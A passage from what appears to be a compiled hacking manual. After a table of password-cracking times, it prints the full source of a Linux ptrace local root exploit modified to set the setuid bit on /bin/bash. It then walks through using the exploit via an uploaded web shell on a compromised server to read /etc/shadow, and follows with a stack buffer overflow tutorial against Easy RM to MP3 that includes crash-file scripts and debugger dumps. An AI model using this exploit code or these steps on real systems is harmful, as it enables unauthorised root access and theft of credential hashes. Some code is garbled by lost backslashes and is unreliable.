2.15 hours
8.51 days
2.21 years
2.10 centuries
20 millennia
1,899 millennia
180,365 millennia
17,184,705 millennia
0.02 seconds
.046 seconds
11.9 seconds
5.15 minutes
2.23 hours
2.42 days
2.07 months
4.48 years
1.16 centuries
3.03 millennia
76 | P a g e
13 characters
14 characters
1,627,797,068 millennia
154,640,721,434 millennia
78.7 millennia
2,046 millennia
Remember, these are just for an average computer, and these assume you aren’t using any
word in the dictionary. If Google put their computer to work on it they’d finish about 1,000
times faster.
SensePost CrowBar
77 | P a g e
SecuriBox Sentri 2.0
78 | P a g e
OWASP WebSlayer
79 | P a g e
xHydra (BackTrack 3/4 - GTK)
80 | P a g e
81 | P a g e
Linux Hacking - Why Linux?
Linux/Apache privilege escalation
For this example, we shall look at www2.example.com, which is a Linux server running 2.4 kernel and
Apache 1.3.27. As with the previous example, we shall assume that is has already been compromised, and
a file uploader script upload.cgi.
Uploading the UNIX attack tools
For this server, we shall upload a web based command prompt - shell.cgi and another file - ptrace1.c.
ptrace1.c is a privilege escalation exploit based on the Linux Ptrace/Setuid Exec Vulnerability. The exploit
is slightly modified, to adapt it for one-way use. When run successfully, the exploit applies the setuid
permission to /bin/bash, which is owned by the root user. This causes any shell command executed
through /bin/bash, to run with super-user privileges. The web based command prompt, shell.cgi,
internally invokes /bin/bash, and therefore all commands executed via shell.cgi shall run as the root user.
The source code of the modified ptrace exploit is:
ptrace1.c
/*
* Linux kernel ptrace/kmod local root exploit
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <cliph@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*
* exploit modified for one-way use by Saumil Shah
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
82 | P a g e
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"x90x90xebx1fxb8xb6x00x00"
"x00x5bx31xc9x89xcaxcdx80"
"xb8x0fx00x00x00xb9xedx0d"
"x00x00xcdx80x89xd0x89xd3"
"x40xcdx80xe8xdcxffxffxff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '0';
src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
83 | P a g e
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "[+] Signal caughtn");
if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "[+] Shellcode placed at 0x%08lxn", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid();
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
84 | P a g e
fprintf(stderr, "[+] Attached to %dn", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signaln");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid() == 0) {
initgroups("root", 0);
setgid(0);
setuid(0);
// execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
// line below is a modification to adapt the exploit
// for one-way hacking
execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL);
fatal("[-] Unable to spawn shell");
}
}
int main(int argc, char ** argv)
{
prepare();
signal(SIGALRM, sigalrm);
alarm(10);
parent = getpid();
child = fork();
victim = child + 1;
85 | P a g e
if (child == -1)
fatal("[-] Unable to fork");
if (child == 0)
do_child();
else
do_parent(argv[0]);
return 0;
}
The screenshots below show these two files being uploaded on www2.example.com.
We shall now compile ptrace1.c and check if it has been compiled properly. We shall also check our
current privileges. The screenshot below shows the following commands executed via shell.cgi:
gcc -o ptrace1 ptrace1.c
ls –la
id
86 | P a g e
The privileges extended to shell.cgi are those of the "nobody" user.
ptrace1.c - privilege escalation
The next step is to attempt to execute ptrace1, to see if we can apply the setuid permissions to /bin/bash.
The exploit ptrace1.c internally executes the following command:
/bin/chmod 4755 /bin/bash
The screenshot below shows ptrace1 being executed and the file listing for /bin/bash:
Sure enough, the /bin/bash binary has the setuid permission applied to it.
The next screenshot shows two commands being executed:
Id
cat /etc/shadow
87 | P a g e
Notice that the effective uid (euid) of the shell.cgi process is 0, which is that of the root user. The fact that
we were able to view the contents of the /etc/shadow file proves that the privileges have been escalated.
We now have full super-user control of www2.example.com
88 | P a g e
Buffer Overflows Why is Programs/Applications Vulnerable?
Verify the bug
First of all, let’s verify that the application does indeed crash when opening a malicious m3u file.
(Or find yourself an application that crashes when you feed specifically crafted data to it).
Get yourself a copy of the vulnerable version of Easy RM to MP3 and install it on a computer
running Windows XP. The vulnerability report states that the exploit works on XP SP2 (English),
but I’ll use XP SP3 (English).
Local copy of the vulnerable application can be downloaded here:
Easy RM to MP3 Conversion Utility (2.8 MiB, 2,325 hits)
You do not have permission to download this file.
Quick side note: you can find older versions of applications at oldapps.com and oldversion.com,
or by looking at exploits on exploit-db.com (which often have a local copy of the vulnerable
application as well)
We’ll use the following simple Perl script to create an “.m3u” file that may help us to discover
more information about the vulnerability:
my $file= "crash.m3u";
my $junk= "x41" x 10000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfullyn";
Run the Perl script to create the m3u file. The fill will be filled with 10000 A’s (x41 is the
hexadecimal representation of A) and open this m3u file with Easy RM to MP3…. The
application throws an error, but it looks like the error is handled correctly and the application do
not crash. Modify the script to write a file with 20000 A’s and try again, the same behavior.
(Exception is handled correctly, so we still could not overwrite anything useful). Now change the
script to write 30000 A’s, create the m3u file and open it in the utility.
89 | P a g e
Boom – application dies.
Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A’s.
But what can we do with this?
Verify the bug – and see if it could be interesting
Obviously, not every application crash can lead to exploitation. In many cases, an application
crash will not lead to exploitation… But sometimes it does. With “exploitation”, I mean that you
want the application to do something it was not intended to do… such as running your own
code. The easiest way to make an application do something different is by controlling its
application flow (and redirects it to somewhere else). This can be done by controlling
the Instruction Pointer (or Program Counter), which is a CPU registering that contains a pointer
to where the next instruction that needs to be executed is located.
Suppose an application calls a function with a parameter. Before going to the function, it saves
the current location in the instruction pointer (so it knows where to return when the function
completes). If you can modify the value in this pointer, and point it to a location in memory that
contains your own piece of code, then you can change the application flow and make it execute
something different (other than returning back to the original place). The code that you want to
be executed after controlling the flow is often referred to as “shellcode”. So if we make the
application run our shellcode, we can call it a working exploit. In most cases, this pointer is
referenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, you
own the application (and the computer the application runs on)
Before we proceed – some theory
Just a few terms that you will need:
Every Windows application uses parts of memory. The process memory contains 3 major
components:
 Code segment (instructions that the processor executes. The EIP keeps track of the next
instruction)
 data segment (variables, dynamic buffers)
 Stack segment (used to pass data/arguments to functions, and is used as space for
variables. The stack starts (= the bottom of the stack) from the very end of the virtual
memory of a page and grows down (to a lower address). a PUSH adds something to the
top of the stack, POP will remove one item (4 bytes) from the stack and puts it in a register.
If you want to access the stack memory directly, you can use ESP (Stack Pointer), which points at
the top (so the lowest memory address) of the stack.
 After a push, ESP will point to a lower memory address (address is decremented with the
size of the data that is pushed onto the stack, which is 4 bytes in case of
addresses/pointers). Decrements usually happen before the item is placed on the stack
(depending on the implementation… if ESP already points at the next free location in the
stack, the decrement happens after placing data on the stack)
90 | P a g e
 After a POP, ESP points to a higher address (address is incremented (by 4 bytes in case of
addresses/pointers)). Increments happen after an item is removed from the stack.
When a function/subroutine is entered, a stack frame is created. This frame keeps the
parameters of the parent procedure together and is used to pass arguments to the
subroutine. The current location of the stack can be accessed via the stack pointer (ESP), the
current base of the function is contained in the base pointer (EBP) (or frame pointer).
The CPU’s general purpose registers (Intel, x86) are:
 EAX: accumulator: used for performing calculations, and used to store return values from
function calls. Basic operations such as add, subtract, compare use this general-purpose
register
 EBX: base (does not have anything to do with base pointer). It has no general purpose and
can be used to store data.
 ECX: counter: used for iterations. ECX counts downward.
 EDX: data: this is an extension of the EAX register. It allows for more complex calculations
(multiply, divide) by allowing extra data to be stored to facilitate those calculations.
 ESP : stack pointer
 EBP : base pointer
 ESI : source index : holds location of input data
 EDI : destination index : points to location of where result of data operation is stored
 EIP : instruction pointer
Process Memory
When an application is stared in a Win32 environment, a process is created and virtual memory
is assigned to. In a 32 bit process, the address ranges from 0×00000000 to 0xFFFFFFFF, where
0×00000000 to 0x7FFFFFFF is assigned to "user-land", and 0×80000000 to 0xFFFFFFFF is
assigned to "kernel land". Windows uses the flat memory model, which means that the CPU can
directly/sequentially/linearly address all of the available memory locations, without having to
use a segmentation/paging scheme.
Kernel land memory is only accessible by the OS.
When a process is created, a PEB (Process Execution Block) and TEB (Thread Environment Block)
are created.
The PEB contains all user land parameters that are associated with the current process:
 location of the main executable
 pointer to loader data (can be used to list all DLLs / modules that are/can be loaded into
the process)
 pointer to information about the heap
The TEB describes the state of a thread, and includes
 location of the PEB in memory
91 | P a g e
 location of the stack for the thread it belongs to
 pointer to the first entry in the SEH chain (see tutorial 3 and 3b to learn more about what a
SEH chain is)
Each thread inside the process has one TEB.
The Win32 process memory map looks like this:
92 | P a g e
The text segment of a program image / DLL is read only, as it only contains the application code.
This prevents people from modifying the application code. This memory segment has a fixed
size. The data segment is used to store global and static program variables. The data segment is
used for initialized global variables, strings, and other constants.
The data segment is writable and has a fixed size. The heap segment is used for the rest of the
program variables. It can grow larger or smaller as desired. All of the memory in the heap is
managed by allocator (and De-Allocator) algorithms. A memory region is reserved by these
algorithms. The heap will grow towards higher addresses.
In a DLL, the code, imports (list of functions used by the DLL, from another DLL or application),
and exports (functions it makes available to other DLL’s applications) are part of the .text
segment.
The Stack
The stack is a piece of the process memory, a data structure that works LIFO (Last in first out). A
stack gets allocated by the OS, for each thread (when the thread is created). When the thread
ends, the stack is cleared as well. The size of the stack is defined when it gets created and
doesn’t change. Combined with LIFO and the fact that it does not require complex management
structures/mechanisms to get managed, the stack is pretty fast, but limited in size.
LIFO means that the most recent placed data (result of a PUSH instruction) is the first one that
will be removed from the stack again. (It is removed by a POP instruction).
When a stack is created, the stack pointer points to the top of the stack (= the highest address
on the stack). As information is pushed onto the stack, this stack pointer decrements (the
pointer goes to a lower address). So in essence, the stack grows to a lower address.
The stack contains local variables, function calls and other info that does not need to be stored
for a larger amount of time. As more data is added to the stack (pushed onto the stack), the
stack pointer is decremented and points at a lower address value.
Every time a function is called, the function parameters are pushed onto the stack, as well as the
saved values of registers (EBP, EIP). When a function returns, the saved value of EIP is retrieved
from the stack and placed back in EIP, so the normal application flow can be resumed.
Let’s use a few lines of simple code to demonstrate the behavior:
01 #include <string.h>
02
93 | P a g e
03 void do_something(char *Buffer)
04 {
05 char MyVar[128];
06 strcpy(MyVar,Buffer);
07 }
08
09 int main (int argc, char **argv)
10 {
11 do_something(argv[1]);
12 }
(You can compile this code. Get yourself a copy of Dev-C++ 4.9.9.2, create a new Win32
console project (use C as language, not C++), paste the code and compile it). On my system, I
called the project "stacktest".
Run the application : "stacktest.exe AAAA". Nothing should return.
This applications takes an argument (argv[1] and passes the argument to function
do_something(). In that function, the argument is copied into a local variable that has a
maximum of 128 bytes. This means that if the argument is longer than 127 bytes (+ a null byte
to terminate the string), the buffer may get overflown.
When function "do_something(param1)" gets called from inside main(), the following things
happen:
A new stack frame will be created, on top of the ‘parent’ stack. The stack pointer (ESP) points to
the highest address of the newly created stack. This is the "top of the stack".
94 | P a g e
Before do_something() is called, a pointer to the argument(s) gets pushed to the stack. In our
case, this is a pointer to argv[1].
Stack after the MOV instruction:
95 | P a g e
Next, function do_something is called. The CALL instruction will first put the current instruction
pointer onto the stack (so it knows where to return to if the function ends) and will then jump to
the function code.
Stack after the CALL instruction:
As a result of the push, ESP decrements 4 bytes and now points to a lower address.
96 | P a g e
(or, as seen in a debugger) :
ESP points at 0022FF5C. At this address, we see the saved EIP (Return to…), followed by a
pointer to the parameter (AAAA in this example). This pointer was saved on the stack before the
CALL instruction was executed.
Next, the function prolog executes. This basically saves the frame pointer (EBP) onto the stack,
so it can be restored as well when the function returns. The instruction to save the frame
pointer is "push ebp". ESP is decremented again with 4 bytes.
97 | P a g e
Following the push ebp, the current stack pointer (ESP) is put in EBP. At that point, both ESP
and EBP point at the top of the current stack. From that point on, the stack will usually be
referenced by ESP (top of the stack at any time) and EBP (the base pointer of the current stack).
This way, the application can reference variables by using an offset to EBP.
Most functions start with this sequence : PUSH EBP, followed by MOV EBP,ESP
So, if you would push another 4 bytes to the stack, ESP would decrement again and EBP would
still stay where it was. You could reference these 4 bytes by using EBP-0×8.
Next, we can see how stack space for the variable MyVar (128bytes) is declared/allocated. In
order to hold the data, some space is allocated on the stack to hold data in this variable… ESP is
decremented by a number of bytes. This number of bytes will most likely is more than 128
bytes, because of an allocation routine determined by the compiler. In the case of Dev-C++, this
is 0×98 bytes. So you will see a SUB ESP,0×98 instruction. That way, there will be space available
for this variable.
98 | P a g e
The disassembly of the function looks like this :
01 00401290 /$ 55 PUSH EBP
02 00401291 |. 89E5 MOV EBP,ESP
03 00401293 |. 81EC 98000000 SUB ESP,98
04 00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
05 0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
06 004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |
99 | P a g e
07 004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
08 004012A9 |. E8 72050000 CALL <jmp. &msvcrt.strcpy=""> ; strcpy
09 004012AE |. C9 LEAVE
10 004012AF . C3 RETN</jmp.>
(Don’t worry about the code too much. You can clearly see the function prolog (PUSH EBP and
MOV EBP, ESP), you can also see where space gets allocated for MyVar (SUB ESP, 98), and you
can see some MOV and LEA instructions (which basically set up the parameters for the strcpy
function… taking the pointer where argv[1] sits and using it to copy data from, into MyVar.
If there would not have been a strcpy() in this function, the function would now end and
"unwind" the stack. Basically, it would just move ESP back to the location where saved EIP was,
and then issues a RET instruction. A ret, in this case, will pick up the saved EIP pointer from the
stack and jump to it. (Thus, it will go back to the main function, right after where
do_something() was called). The epilog instruction is executed by a LEAVE instruction (which
will restore both the frame pointer and EIP).
In my example, we have a strcpy() function.
This function will read data, from the address pointed to by [Buffer], and store it in <space for
MyVar>, reading all data until it sees a null byte (string terminator). While it copies the data,
ESP stays where it is. The strcpy() does not use PUSH instructions to put data on the stack… it
basically reads a byte and writes it to the stack, using an index (for example ESP, ESP+1, ESP+2,
etc). So after the copy, ESP still points at the begin of the string.
100 | P a g e
That means… If the data in [Buffer] is somewhat longer than 0×98 bytes, the strcpy() will
overwrite saved EBP and eventually saved EIP (and so on). After all, it just continues to read &
write until it reaches a null byte in the source location (in case of a string)
101 | P a g e
ESP still points at the begin of the string. The strcpy() completes as if nothing is wrong. After
the strcpy(), the function ends. And this is where things get interesting. The function epilog
kicks in. Basically, it will move ESP back to the location where saved EIP was stored, and it will
issue a RET. It will take the pointer (AAAA or 0×41414141 in our case, since it got overwritten),
and will jump to that address.
So you control EIP.
Long story short, by controlling EIP, you basically change the return address that the function
will uses in order to “resume normal flow”.
Of course, if you change this return address by issuing a buffer overflow, it’s not a “normal flow”
anymore.
Suppose you can overwrite the buffer in MyVar, EBP, EIP and you have A’s (your own code) in
the area before and after saved EIP… think about it. After sending the buffer
([MyVar][EBP][EIP][your code]), ESP will/should point at the beginning of [your code]. So if you
can make EIP go to your code, you’re in control.
Note : when a buffer on the stack overflows, the term "stack based overflow" or "stack buffer
overflow" is used. When you are trying to write past the end of the stack frame, the term
"stack overflow" is used. Don’t mix those two up, as they are entirely different.
The debugger
In order to see the state of the stack (and value of registers such as the instruction pointer, stack
pointer etc), we need to hook up a debugger to the application, so we can see what happens at
the time the application runs (and especially when it dies).
There are many debuggers available for this purpose. The two debuggers I use most often
are Windbg, and Immunity’s Debugger
Let’s use Windbg. Install Windbg (Full install) and register it as a “post-mortem” debugger
using “Windbg -I”.
102 | P a g e
You can also disable the “xxxx has encountered a problem and needs to close” popup by setting
the following registry key:
HKLMSoftwareMicrosoftWindows NTCurrentVersionAeDebugAuto : set to 0
In order to avoid Windbg complaining about Symbol files not found, create a folder on your hard
drive (let’s say c:windbgsymbols). Then, in Windbg, go to “File” – “Symbol File Path” and enter
the following string:
SRV*C:windbgsymbols*http://msdl.microsoft.com/download/symbols
(do NOT put an empty line after this string ! make sure this string is the only string in the
symbol path field)
If you want to use Immunity Debugger instead: get a copy here and install it. Open Immunity
debugger, go to "Options" – "Just in-time debugging" and click "Make Immunity Debugger just
in-time debugger".
Ok, let’s get started.
Launch Easy RM to MP3, and then open the crash.m3u file again. The application will crash
again. If you have disabled the popups, Windbg or Immunity debugger will kick in automatically.
If you get a popup, click the “debug” button and the debugger will be launched:
Windbg:
103 | P a g e
Immunity:
104 | P a g e
This GUI shows the same information, but in a more…errr.. graphical way. In the upper left
corner, you have the CPU view, which shows assembly instructions and their opcodes. (The
window is empty because EIP currently points at 41414141 and that’s not a valid address). In
the upper right windows, you can see the registers. In the lower left corner, you see the
memory dump of 00446000 in this case. In the lower right corner, you can see the contents of
the stack (so the contents of memory at the location where ESP points at).
Anyways, in both cases, we can see that the instruction pointer contains 41414141, which is the
hexadecimal representation for AAAA.
A quick note before proceeding: On Intel x86, the addresses are stored little-endian (so
backwards). The AAAA you are seeing is in fact AAAA :-) (Or, if you have sent ABCD in your
buffer, EIP would point at 44434241 (DCBA)
So it looks like part of our m3u file was read into the buffer and caused the buffer to
overflow. We have been able to overflow the buffer and write across the instruction
pointer. So we may be able to control the value of EIP.
Since our file does only contain A’s, we don’t know exactly how big our buffer needs to be in
order to write exactly into EIP. In other words, if we want to be specific in overwriting EIP (so we
can feed it usable data and make it jump to our evil code, we need to know the exact position in
105 | P a g e
our buffer/payload where we overwrite the return address (which will become EIP when the
function returns). This position is often referred to as the “offset”.
Determining the buffer size to write exactly into EIP
We know that EIP is located somewhere between 20000 and 30000 bytes from the beginning of
the buffer. Now, you could potentially overwrite all memory space between 20000 and 30000
bytes with the address you want to overwrite EIP with. This may work, but it looks much nicer if
you can find the exact location to perform an address overwrites. In order to determine the
exact offset of EIP in our buffer, we need to do some additional work.
First, let’s try to narrow down the location by changing our Perl script just a little:
Let’s cut things in half. We’ll create a file that contains 25000 A’s and another 5000 B’s. If EIP
contains 41414141 (AAAA), EIP sits between 20000 and 25000, and if EIP contains 42424242
(BBBB), EIP sits between 25000 and 30000.
my $file= "crash25000.m3u";
my $junk = "x41" x 25000;
my $junk2 = "x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfullyn";
Create the file and open crash25000.m3u in Easy RM to MP3.
OK, so eip contains 42424242 (BBBB), so we know EIP has an offset between 25000 and 30000.
That also means that we should/may see the remaining B’s in memory where ESP points at
(given that EIP was overwritten before the end of the 30000 character buffer)
Buffer:
[ 5000 B's ]
[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]
25000 A's EIP ESP points here
Dump the contents of ESP :
106 | P a g e
0:000> d esp
000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d
000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d
000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
That is great news. We have overwritten EIP with BBBB and we can also see our buffer in ESP.
Before we can start tweaking the script, we need to find the exact location in our buffer that
overwrites EIP.
In order to find the exact location, we’ll use MetaSploit.
MetaSploit has a nice tool to assist us with calculating the offset. It will generate a string that
contains unique patterns. Using this pattern (and the value of EIP after using the pattern in our
malicious .m3u file), we can see how big the buffer should be to write exactly into EIP.
Open the tools folder in the MetaSploit framework3 folder (I’m using a linux version of
MetaSploit 3). You should find a tool called pattern_create.rb. Create a pattern of 5000
characters and write it into a file
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000
Edit the Perl script and replace the content of $junk2 with our 5000 characters.
107 | P a g e
my $file= "crash25000.m3u";
my $junk = "x41" x 25000;
my $junk2 = “put the 5000 characters here”
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfullyn";
Create the m3u file. Open this file in Easy RM to MP3, wait until the application dies again, and
take note of the contents of EIP
At this time, EIP contains 0x356b4234 (note: little endian: we have overwritten EIP with 34 42
6b 35 = 4Bk5
Let’s use a second MetaSploit tool now, to calculate the exact length of the buffer before writing
into EIP, feed it with the value of EIP (based on the pattern file) and length of the buffer:
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000
1094
root@bt:/pentest/exploits/framework3/tools#
1094. That’s the buffer length needed to overwrite EIP. So if you create a file with 25000+1094
A’s, and then add 4 B’s (42 42 42 42 in hex) EIP should contain 42 42 42 42. We also know that
ESP points at data from our buffer, so we’ll add some C’s after overwriting EIP.
Let’s try. Modify the Perl script to create the new m3u file.
my $file= "eipcrash.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfullyn";
Create eipcrash.m3u, open it in Easy RM to MP3, observe the crash and look at eip and the
contents of the memory at ESP:
108 | P a g e
0:000> d esp
000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
In Immunity Debugger, you can see the contents of the stack, at ESP, by looking at the lower
right hand window.
Excellent. EIP contains BBBB, which is exactly what we wanted. So now we control EIP. On top of
that, ESP points to our buffer (C’s)
Note : the offset shown here is the result of the analysis on my own system. If you are trying
to reproduce the exercises from this tutorial on your own system, odds are high that you will
get a different offset address. So please don’t just take the offset value or copy the source
code to your system, as the offset is based on the file path where the m3u file is stored. The
buffer that is vulnerable to an overflow includes the full path to the m3u file. So if the path on
your system is shorter or larger than mine, then the offset will be different.
Our exploit buffer so far looks like this:
Buffer EBP EIP ESP points here
|
V
A (x 26090) AAAA BBBB CCCCCCCCCCCCCCCCCCCCCCCC
414141414141…41 41414141 42424242
26090 bytes 4 bytes 4 bytes 1000 bytes?
109 | P a g e
Find memory space to host the shellcode
We control EIP. So we can point EIP to somewhere else, to a place that contains our own code
(shellcode). But where is this space, how can we put our shellcode in that location and how can
we make EIP jump to that location?
In order to crash the application, we have written 26094 A’s into memory, we have written a
new value into the saved EIP field (ret), and we have written a bunch of C’s.
When the application crashes, take a look at the registers and dump all of them (d esp, d EAX, d
EBX, d ebp, …). If you can see your buffer (either the A’s or the C’s) in one of the registers, then
you may be able to replace those with shellcode and jump to that location. In our example, we
can see that ESP seems to point to our C’s (remember the output of d ESP above), so ideally we
would put our shellcode instead of the C’s and we tell EIP to go to the ESP address.
Despite the fact that we can see the C’s, we don’t know for sure that the first C (at address
000ff730, where ESP points at), is in fact the first C that we have put in our buffer.
We’ll change the Perl script and feed a pattern of characters (I’ve taken 144 characters, but you
could have taken more or taken less) instead of C’s:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK”.
"5ABCDEFGHIJK6ABCDEFGHIJK”.
"7ABCDEFGHIJK8ABCDEFGHIJK”.
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfullyn";
Create the file, open it, let the application die and dump memory at location ESP:
0:000> d ESP
000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46 47 DEFGHIJK2ABCDEFG
000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a 4b HIJK3ABCDEFGHIJK
000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42 43 4ABCDEFGHIJK5ABC
000ff760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46 47 DEFGHIJK6ABCDEFG
000ff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a 4b HIJK7ABCDEFGHIJK
000ff780 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42 43 8ABCDEFGHIJK9ABC
000ff790 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46 47 DEFGHIJKAABCDEFG
000ff7a0 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a 4b HIJKBABCDEFGHIJK
0:000> d
000ff7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41 41 CABCDEFGHIJK.AAA
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
110 | P a g e
